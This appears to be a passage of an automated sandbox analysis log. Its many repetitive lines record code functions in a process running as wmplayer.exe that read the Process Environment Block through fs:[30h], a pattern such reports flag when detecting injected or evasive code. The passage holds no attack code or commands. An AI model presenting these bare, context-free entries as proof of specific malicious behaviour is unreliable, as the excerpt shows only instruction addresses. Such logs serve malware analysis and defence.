Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_033592BC mov eax, dword ptr fs:[00000030h]	6_2_033592BC
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_033592BC mov eax, dword ptr fs:[00000030h]	6_2_033592BC
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_033592BC mov ecx, dword ptr fs:[00000030h]	6_2_033592BC
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_033592BC mov ecx, dword ptr fs:[00000030h]	6_2_033592BC
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032E52A0 mov eax, dword ptr fs:[00000030h]	6_2_032E52A0
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032E52A0 mov eax, dword ptr fs:[00000030h]	6_2_032E52A0
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032E52A0 mov eax, dword ptr fs:[00000030h]	6_2_032E52A0
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032E52A0 mov eax, dword ptr fs:[00000030h]	6_2_032E52A0
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_033662A0 mov eax, dword ptr fs:[00000030h]	6_2_033662A0
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_033662A0 mov ecx, dword ptr fs:[00000030h]	6_2_033662A0
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_033662A0 mov eax, dword ptr fs:[00000030h]	6_2_033662A0
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_033662A0 mov eax, dword ptr fs:[00000030h]	6_2_033662A0
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_033662A0 mov eax, dword ptr fs:[00000030h]	6_2_033662A0
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_033662A0 mov eax, dword ptr fs:[00000030h]	6_2_033662A0
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_033672A0 mov eax, dword ptr fs:[00000030h]	6_2_033672A0
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_033672A0 mov eax, dword ptr fs:[00000030h]	6_2_033672A0
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_033992A6 mov eax, dword ptr fs:[00000030h]	6_2_033992A6
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_033992A6 mov eax, dword ptr fs:[00000030h]	6_2_033992A6
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_033992A6 mov eax, dword ptr fs:[00000030h]	6_2_033992A6
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_033992A6 mov eax, dword ptr fs:[00000030h]	6_2_033992A6
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_0330329E mov eax, dword ptr fs:[00000030h]	6_2_0330329E
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_0330329E mov eax, dword ptr fs:[00000030h]	6_2_0330329E
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_0330E284 mov eax, dword ptr fs:[00000030h]	6_2_0330E284
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_0330E284 mov eax, dword ptr fs:[00000030h]	6_2_0330E284
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_03350283 mov eax, dword ptr fs:[00000030h]	6_2_03350283
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_03350283 mov eax, dword ptr fs:[00000030h]	6_2_03350283
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_03350283 mov eax, dword ptr fs:[00000030h]	6_2_03350283
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_033A5283 mov eax, dword ptr fs:[00000030h]	6_2_033A5283
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_0338F2F8 mov eax, dword ptr fs:[00000030h]	6_2_0338F2F8
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032E02E1 mov eax, dword ptr fs:[00000030h]	6_2_032E02E1
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032E02E1 mov eax, dword ptr fs:[00000030h]	6_2_032E02E1
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032E02E1 mov eax, dword ptr fs:[00000030h]	6_2_032E02E1
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032C92FF mov eax, dword ptr fs:[00000030h]	6_2_032C92FF
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_033812ED mov eax, dword ptr fs:[00000030h]	6_2_033812ED
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_033812ED mov eax, dword ptr fs:[00000030h]	6_2_033812ED
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_033812ED mov eax, dword ptr fs:[00000030h]	6_2_033812ED
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_033812ED mov eax, dword ptr fs:[00000030h]	6_2_033812ED
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_033812ED mov eax, dword ptr fs:[00000030h]	6_2_033812ED
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_033812ED mov eax, dword ptr fs:[00000030h]	6_2_033812ED
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_033812ED mov eax, dword ptr fs:[00000030h]	6_2_033812ED
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_033812ED mov eax, dword ptr fs:[00000030h]	6_2_033812ED
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_033812ED mov eax, dword ptr fs:[00000030h]	6_2_033812ED
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_033812ED mov eax, dword ptr fs:[00000030h]	6_2_033812ED
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_033812ED mov eax, dword ptr fs:[00000030h]	6_2_033812ED
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_033812ED mov eax, dword ptr fs:[00000030h]	6_2_033812ED
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_033812ED mov eax, dword ptr fs:[00000030h]	6_2_033812ED
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_033812ED mov eax, dword ptr fs:[00000030h]	6_2_033812ED
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_033A52E2 mov eax, dword ptr fs:[00000030h]	6_2_033A52E2
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032D92C5 mov eax, dword ptr fs:[00000030h]	6_2_032D92C5
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032D92C5 mov eax, dword ptr fs:[00000030h]	6_2_032D92C5
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032DA2C3 mov eax, dword ptr fs:[00000030h]	6_2_032DA2C3
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032DA2C3 mov eax, dword ptr fs:[00000030h]	6_2_032DA2C3
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032DA2C3 mov eax, dword ptr fs:[00000030h]	6_2_032DA2C3
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032DA2C3 mov eax, dword ptr fs:[00000030h]	6_2_032DA2C3
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032DA2C3 mov eax, dword ptr fs:[00000030h]	6_2_032DA2C3
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032FB2C0 mov eax, dword ptr fs:[00000030h]	6_2_032FB2C0
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032FB2C0 mov eax, dword ptr fs:[00000030h]	6_2_032FB2C0
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032FB2C0 mov eax, dword ptr fs:[00000030h]	6_2_032FB2C0
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032FB2C0 mov eax, dword ptr fs:[00000030h]	6_2_032FB2C0
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032FB2C0 mov eax, dword ptr fs:[00000030h]	6_2_032FB2C0
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032FB2C0 mov eax, dword ptr fs:[00000030h]	6_2_032FB2C0
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032FB2C0 mov eax, dword ptr fs:[00000030h]	6_2_032FB2C0
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032FF2D0 mov eax, dword ptr fs:[00000030h]	6_2_032FF2D0
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032FF2D0 mov eax, dword ptr fs:[00000030h]	6_2_032FF2D0
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032CB2D3 mov eax, dword ptr fs:[00000030h]	6_2_032CB2D3
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032CB2D3 mov eax, dword ptr fs:[00000030h]	6_2_032CB2D3
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032CB2D3 mov eax, dword ptr fs:[00000030h]	6_2_032CB2D3
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_03300124 mov eax, dword ptr fs:[00000030h]	6_2_03300124
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032CB136 mov eax, dword ptr fs:[00000030h]	6_2_032CB136
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032CB136 mov eax, dword ptr fs:[00000030h]	6_2_032CB136
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032CB136 mov eax, dword ptr fs:[00000030h]	6_2_032CB136
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032CB136 mov eax, dword ptr fs:[00000030h]	6_2_032CB136
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032D1131 mov eax, dword ptr fs:[00000030h]	6_2_032D1131
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032D1131 mov eax, dword ptr fs:[00000030h]	6_2_032D1131
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_03390115 mov eax, dword ptr fs:[00000030h]	6_2_03390115
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_0337A118 mov ecx, dword ptr fs:[00000030h]	6_2_0337A118
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_0337A118 mov eax, dword ptr fs:[00000030h]	6_2_0337A118
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_0337A118 mov eax, dword ptr fs:[00000030h]	6_2_0337A118
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_0337A118 mov eax, dword ptr fs:[00000030h]	6_2_0337A118
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_03369179 mov eax, dword ptr fs:[00000030h]	6_2_03369179
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032CF172 mov eax, dword ptr fs:[00000030h]	6_2_032CF172
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032CF172 mov eax, dword ptr fs:[00000030h]	6_2_032CF172
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032CF172 mov eax, dword ptr fs:[00000030h]	6_2_032CF172
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032CF172 mov eax, dword ptr fs:[00000030h]	6_2_032CF172
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032CF172 mov eax, dword ptr fs:[00000030h]	6_2_032CF172
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032CF172 mov eax, dword ptr fs:[00000030h]	6_2_032CF172
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032CF172 mov eax, dword ptr fs:[00000030h]	6_2_032CF172
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032CF172 mov eax, dword ptr fs:[00000030h]	6_2_032CF172
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032CF172 mov eax, dword ptr fs:[00000030h]	6_2_032CF172
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032CF172 mov eax, dword ptr fs:[00000030h]	6_2_032CF172
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032CF172 mov eax, dword ptr fs:[00000030h]	6_2_032CF172
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032CF172 mov eax, dword ptr fs:[00000030h]	6_2_032CF172
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032CF172 mov eax, dword ptr fs:[00000030h]	6_2_032CF172
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032CF172 mov eax, dword ptr fs:[00000030h]	6_2_032CF172
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032CF172 mov eax, dword ptr fs:[00000030h]	6_2_032CF172
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032CF172 mov eax, dword ptr fs:[00000030h]	6_2_032CF172
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032CF172 mov eax, dword ptr fs:[00000030h]	6_2_032CF172
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032CF172 mov eax, dword ptr fs:[00000030h]	6_2_032CF172
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032CF172 mov eax, dword ptr fs:[00000030h]	6_2_032CF172
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032CF172 mov eax, dword ptr fs:[00000030h]	6_2_032CF172
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032CF172 mov eax, dword ptr fs:[00000030h]	6_2_032CF172
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032C9148 mov eax, dword ptr fs:[00000030h]	6_2_032C9148
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032C9148 mov eax, dword ptr fs:[00000030h]	6_2_032C9148
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032C9148 mov eax, dword ptr fs:[00000030h]	6_2_032C9148
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032C9148 mov eax, dword ptr fs:[00000030h]	6_2_032C9148
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_033A5152 mov eax, dword ptr fs:[00000030h]	6_2_033A5152
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_03364144 mov eax, dword ptr fs:[00000030h]	6_2_03364144
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_03364144 mov eax, dword ptr fs:[00000030h]	6_2_03364144
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_03364144 mov ecx, dword ptr fs:[00000030h]	6_2_03364144
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_03364144 mov eax, dword ptr fs:[00000030h]	6_2_03364144
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_03364144 mov eax, dword ptr fs:[00000030h]	6_2_03364144
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032D6154 mov eax, dword ptr fs:[00000030h]	6_2_032D6154
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032D6154 mov eax, dword ptr fs:[00000030h]	6_2_032D6154
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032CC156 mov eax, dword ptr fs:[00000030h]	6_2_032CC156
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032D7152 mov eax, dword ptr fs:[00000030h]	6_2_032D7152
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_033811A4 mov eax, dword ptr fs:[00000030h]	6_2_033811A4
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_033811A4 mov eax, dword ptr fs:[00000030h]	6_2_033811A4
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_033811A4 mov eax, dword ptr fs:[00000030h]	6_2_033811A4
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_033811A4 mov eax, dword ptr fs:[00000030h]	6_2_033811A4
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032EB1B0 mov eax, dword ptr fs:[00000030h]	6_2_032EB1B0
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_03327190 mov eax, dword ptr fs:[00000030h]	6_2_03327190
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_0335019F mov eax, dword ptr fs:[00000030h]	6_2_0335019F
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_0335019F mov eax, dword ptr fs:[00000030h]	6_2_0335019F
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_0335019F mov eax, dword ptr fs:[00000030h]	6_2_0335019F
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_0335019F mov eax, dword ptr fs:[00000030h]	6_2_0335019F
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_0338C188 mov eax, dword ptr fs:[00000030h]	6_2_0338C188
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_0338C188 mov eax, dword ptr fs:[00000030h]	6_2_0338C188
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_03310185 mov eax, dword ptr fs:[00000030h]	6_2_03310185
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032CA197 mov eax, dword ptr fs:[00000030h]	6_2_032CA197
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032CA197 mov eax, dword ptr fs:[00000030h]	6_2_032CA197
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032CA197 mov eax, dword ptr fs:[00000030h]	6_2_032CA197
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032F51EF mov eax, dword ptr fs:[00000030h]	6_2_032F51EF
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032F51EF mov eax, dword ptr fs:[00000030h]	6_2_032F51EF
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032F51EF mov eax, dword ptr fs:[00000030h]	6_2_032F51EF
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032F51EF mov eax, dword ptr fs:[00000030h]	6_2_032F51EF
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032F51EF mov eax, dword ptr fs:[00000030h]	6_2_032F51EF
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032F51EF mov eax, dword ptr fs:[00000030h]	6_2_032F51EF
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032F51EF mov eax, dword ptr fs:[00000030h]	6_2_032F51EF
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032F51EF mov eax, dword ptr fs:[00000030h]	6_2_032F51EF
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032F51EF mov eax, dword ptr fs:[00000030h]	6_2_032F51EF
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032F51EF mov eax, dword ptr fs:[00000030h]	6_2_032F51EF
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032F51EF mov eax, dword ptr fs:[00000030h]	6_2_032F51EF
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032F51EF mov eax, dword ptr fs:[00000030h]	6_2_032F51EF
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032F51EF mov eax, dword ptr fs:[00000030h]	6_2_032F51EF
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032D51ED mov eax, dword ptr fs:[00000030h]	6_2_032D51ED
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_033001F8 mov eax, dword ptr fs:[00000030h]	6_2_033001F8
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_033A61E5 mov eax, dword ptr fs:[00000030h]	6_2_033A61E5
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_0330D1D0 mov eax, dword ptr fs:[00000030h]	6_2_0330D1D0
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_0330D1D0 mov ecx, dword ptr fs:[00000030h]	6_2_0330D1D0
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_0334E1D0 mov eax, dword ptr fs:[00000030h]	6_2_0334E1D0
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_0334E1D0 mov eax, dword ptr fs:[00000030h]	6_2_0334E1D0
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_0334E1D0 mov ecx, dword ptr fs:[00000030h]	6_2_0334E1D0
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_0334E1D0 mov eax, dword ptr fs:[00000030h]	6_2_0334E1D0
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_0334E1D0 mov eax, dword ptr fs:[00000030h]	6_2_0334E1D0
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_033A51CB mov eax, dword ptr fs:[00000030h]	6_2_033A51CB
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_033961C3 mov eax, dword ptr fs:[00000030h]	6_2_033961C3
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_033961C3 mov eax, dword ptr fs:[00000030h]	6_2_033961C3
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_0339903E mov eax, dword ptr fs:[00000030h]	6_2_0339903E
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_0339903E mov eax, dword ptr fs:[00000030h]	6_2_0339903E
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_0339903E mov eax, dword ptr fs:[00000030h]	6_2_0339903E
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_0339903E mov eax, dword ptr fs:[00000030h]	6_2_0339903E
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032CA020 mov eax, dword ptr fs:[00000030h]	6_2_032CA020
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032CC020 mov eax, dword ptr fs:[00000030h]	6_2_032CC020
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_03354000 mov ecx, dword ptr fs:[00000030h]	6_2_03354000
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032EE016 mov eax, dword ptr fs:[00000030h]	6_2_032EE016
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032EE016 mov eax, dword ptr fs:[00000030h]	6_2_032EE016
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032EE016 mov eax, dword ptr fs:[00000030h]	6_2_032EE016
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032EE016 mov eax, dword ptr fs:[00000030h]	6_2_032EE016
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_0334D070 mov ecx, dword ptr fs:[00000030h]	6_2_0334D070
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_033A5060 mov eax, dword ptr fs:[00000030h]	6_2_033A5060
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_0335106E mov eax, dword ptr fs:[00000030h]	6_2_0335106E
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032FC073 mov eax, dword ptr fs:[00000030h]	6_2_032FC073
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032E1070 mov eax, dword ptr fs:[00000030h]	6_2_032E1070
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032E1070 mov ecx, dword ptr fs:[00000030h]	6_2_032E1070
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032E1070 mov eax, dword ptr fs:[00000030h]	6_2_032E1070
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032E1070 mov eax, dword ptr fs:[00000030h]	6_2_032E1070
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032E1070 mov eax, dword ptr fs:[00000030h]	6_2_032E1070
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032E1070 mov eax, dword ptr fs:[00000030h]	6_2_032E1070
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032E1070 mov eax, dword ptr fs:[00000030h]	6_2_032E1070
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032E1070 mov eax, dword ptr fs:[00000030h]	6_2_032E1070
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032E1070 mov eax, dword ptr fs:[00000030h]	6_2_032E1070
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032E1070 mov eax, dword ptr fs:[00000030h]	6_2_032E1070
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032E1070 mov eax, dword ptr fs:[00000030h]	6_2_032E1070
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032E1070 mov eax, dword ptr fs:[00000030h]	6_2_032E1070
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032E1070 mov eax, dword ptr fs:[00000030h]	6_2_032E1070
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_0337705E mov ebx, dword ptr fs:[00000030h]	6_2_0337705E
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_0337705E mov eax, dword ptr fs:[00000030h]	6_2_0337705E
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032D2050 mov eax, dword ptr fs:[00000030h]	6_2_032D2050
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032FB052 mov eax, dword ptr fs:[00000030h]	6_2_032FB052
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_033960B8 mov eax, dword ptr fs:[00000030h]	6_2_033960B8
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_033960B8 mov ecx, dword ptr fs:[00000030h]	6_2_033960B8
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032CD08D mov eax, dword ptr fs:[00000030h]	6_2_032CD08D
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032D208A mov eax, dword ptr fs:[00000030h]	6_2_032D208A
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_0330909C mov eax, dword ptr fs:[00000030h]	6_2_0330909C
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032D5096 mov eax, dword ptr fs:[00000030h]	6_2_032D5096
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032FD090 mov eax, dword ptr fs:[00000030h]	6_2_032FD090
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032FD090 mov eax, dword ptr fs:[00000030h]	6_2_032FD090
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_033120F0 mov ecx, dword ptr fs:[00000030h]	6_2_033120F0
